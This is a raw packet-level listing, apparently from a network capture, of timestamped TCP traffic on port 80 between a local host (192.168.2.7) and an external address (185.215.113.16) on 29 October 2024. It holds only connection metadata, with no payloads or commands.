Oct 29, 2024 20:36:09.372122049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372143984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372148037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372164965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372167110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372190952 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372209072 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372215986 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372256041 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372492075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372514009 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372533083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372549057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372565031 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372572899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372580051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372596025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372611046 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372620106 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372627020 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372647047 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372652054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372669935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372689962 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372693062 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372710943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372711897 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372734070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372752905 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372756958 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372776985 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372778893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372802019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372819901 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372824907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372833014 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372847080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372854948 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372869968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372878075 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372912884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372925043 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373013973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373044968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373092890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373123884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373181105 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373200893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373223066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373243093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373251915 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373265028 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373279095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373280048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373295069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373341084 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373462915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373483896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373505116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373527050 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373534918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373547077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373562098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373577118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373590946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373594999 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373613119 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373648882 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373790026 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373811007 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373830080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373852968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373873949 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373873949 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373895884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373917103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373928070 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373941898 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.373972893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.373996973 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.374015093 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.528480053 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528497934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528511047 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528647900 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.528693914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.528799057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528815031 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528829098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528841019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528853893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528867960 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528882980 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.528882980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.528915882 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.528951883 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529125929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529139996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529155016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529170990 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529232979 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529272079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529288054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529297113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529304981 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529313087 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529392004 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529412031 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529506922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529522896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529536963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529561043 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529587984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529588938 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529634953 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529794931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529807091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529818058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529829979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529855013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529875040 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529912949 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.529927015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529941082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.529966116 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530006886 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530127048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530139923 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530148983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530154943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530167103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530178070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530199051 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530240059 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530301094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530317068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530328989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530342102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530354023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530368090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530394077 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530419111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530441999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530457973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530482054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530524015 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530632019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530644894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530697107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530711889 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530714989 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530725956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530731916 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530742884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.530762911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530800104 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.530975103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531064034 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531150103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531162977 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531173944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531187057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531230927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531259060 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531311035 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531336069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531349897 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531363010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531375885 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531394005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531440020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531649113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531662941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531677008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531730890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531775951 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.531909943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531929970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531943083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531954050 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531964064 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531976938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531991005 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.531997919 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532007933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532022953 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532035112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532048941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532057047 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532063961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532075882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532089949 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532190084 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532296896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532309055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532320023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532332897 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532354116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532382965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532418966 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532438040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532452106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532461882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532474995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532480001 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532486916 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532497883 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532509089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532517910 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532524109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532566071 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532567978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532581091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532589912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532602072 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532613993 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532646894 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532692909 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532752037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532836914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.532913923 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532927036 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532938004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532951117 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.532963037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533093929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533106089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533124924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533135891 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533145905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.533154964 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.533235073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534545898 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534559011 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534569025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534627914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534653902 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534679890 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534697056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534710884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534737110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534737110 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534749985 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534790039 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534837008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534848928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534859896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534893990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.534910917 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534955025 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.534995079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535006046 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535017014 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535027981 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535041094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535043955 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535054922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535077095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535106897 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535145998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535159111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535168886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535181999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535191059 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535195112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535248041 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535300016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535319090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535361052 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535378933 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535490036 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535501957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535512924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535526037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535537004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535548925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535563946 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535614967 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535646915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535659075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535670042 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535686970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535693884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535701990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535717010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535721064 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535732031 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535746098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535757065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535768986 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535768986 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535787106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535798073 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535814047 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535845041 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.535980940 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.535991907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536000967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536011934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536024094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536062956 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536089897 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536153078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536164045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536175966 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536185026 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536196947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536233902 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536253929 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536302090 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536325932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536338091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536350012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536360979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536372900 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536372900 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536385059 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536396027 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536417007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536465883 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536484957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536494970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536505938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536516905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536525011 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536530972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536544085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536555052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536570072 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536576986 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536617041 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536628962 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536640882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536650896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536664009 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536667109 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536715984 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536802053 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536818027 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536829948 CET	80	49981	185.215.113.16	192.168.2.7
